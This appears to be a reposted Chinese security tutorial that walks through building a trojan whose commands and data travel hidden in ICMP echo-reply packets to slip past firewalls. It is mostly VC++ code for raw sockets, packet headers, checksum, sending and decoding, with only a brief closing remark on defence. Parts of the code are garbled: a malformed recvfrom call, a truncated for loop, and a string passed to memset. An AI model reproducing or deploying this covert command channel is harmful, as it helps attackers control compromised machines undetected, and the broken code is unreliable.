一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会,木马可以将自己伪装成ping程序,这样系统就会将ICMP_ECHOREPLY(ping的回应包)的监听、处理权交给木马进程。一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。
ICMP_ECHOREPLY数据包可穿透防火墙和网关。常见的Ping of Death、ICMP风暴、ICMP碎片攻击等,都是通过构造ICMP报文进行攻击的,所以一般的防火墙都会对ICMP报文进行过滤。但ICMP_ECHOREPLY报文往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行ping的操作,这样对于用户是极其不好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。
使用VC++编写基于ICMP木马的具体操作步骤如下。
步骤1:为了实现发送/监听ICMP报文,需要建立SOCK_RAW(原始套接口),并定义一个IP首部。其具体格式如下。
typedef struct iphdr {
unsigned int version:4; // IP版本号,4表示IPV4
unsigned int h_len:4; // 4位首部长度
unsigned char tos; // 7位服务类型TOS
unsigned short total_len; // 16位总长度(字节)
unsigned short ident; // 16位标识
unsigned short frag_and_flags; // 3位标志位
unsigned char ttl; // 7位生存时间 TTL
unsigned char proto; // 7位协议 (TCP、UDP或其他)
unsigned short checksum; // 16位IP首部校验和
unsigned int sourceIP; // 32位源IP地址
unsigned int destIP; // 32位目的IP地址
}IpHeader;
步骤2:定义一个ICMP首部,其具体格式如下。
typedef struct _ihdr {
BYTE i_type; // 7位类型
BYTE i_code; // 7位代码
USHORT i_cksum; // 16位校验和
USHORT i_id; // 识别号(一般用进程号作为识别号)
USHORT i_seq; // 报文序列号
ULONG timestamp; // 时间戳
}IcmpHeader;
步骤3:通过WSASocket来建立一个原始套接口,其具体内容如下。
SockRaw=WSASocket(
AF_INET, //协议族
SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口
IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报
NULL, //WSAPROTOCOL_INFO置为空
0, //保留字,永远置为0
WSA_FLAG_OVERLAPPED //标志位
);
为了使用发送接收超时设置(设置SO_RCVTIMEO、SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED。
步骤4:在创建好原始套接口后,就可以使用fill_icmp_data子程序填充ICMP报文段了。fill_icmp_data子程序的具体内容如下。
void fill_icmp_data(char * icmp_data,int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号
icmp_hdr->i_cksum = 0; //校验和初始化
icmp_hdr->i_seq = 0; //序列号初始化
datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为ICMP报文地址加上ICMP的首部长度
memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里填充的数据全部为A,也可以填充任何代码和数据,实际上木马和控制端之间就是通过数据段传递数据的
}
步骤5:需要调用CheckSum函数计算ICMP校验和,具体的调用方法如下。
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);//调用checksum函数
USHORT CheckSum (USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum); // checksum函数是标准的校验和函数,也可用优化过的任何校验和函数来代替它
}
步骤6:通过sendto函数来发送ICMP_ECHOREPLY报文,该函数的具体格式如下。
sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
步骤7:在发送完成后,就需要使用recvfrm函数接收ICMP_ECHOREPLY报文,并用decoder函数将接收到的报文解码成数据和命令。这部分的实现代码如下。
recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(structsockaddr*)&from,&fromlen;
decode_resp(recvbuf,recv_icmp,&from);
//decoder函数
void decoder(char *buf, int bytes,struct sockaddr_in *from)
{
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf; // IP首部的地址就等于buf的地址
iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须乘4
icmphdr = (IcmpHeader*)(buf + iphdrlen); // ICMP首部的地址等于IP首部长加buf
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); // 取出源地址
printf("icmp_id=%d.",icmphdr->i_id); // 取出进程号
printf("icmp_seq=%d.",icmphdr->i_seq); // 取出序列号
printf("icmp_type=%d",icmphdr->i_type); // 取出类型
printf("icmp_code=%d",icmphdr->i_code); // 取出代码
for(i=0;// 取出数据段
}
一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,就不能再用ping这个工具了。如果过滤了所有的ICMP报文,就收不到任何错误报文,这样,使用IE访问一个并不存在的网站时将收不到网络不可达、主机不可达和端口不可达报文,往往要花数倍的时间才能知道结果,且基于ICMP协议的tracert工具也会失效。
对于此种木马的防范,除非使用嗅探器或者监视Windows的SockAPI调用,否则从网络上是很难发现木马行踪的。
微信公众号:计算机与网络安全
ID:Computer-network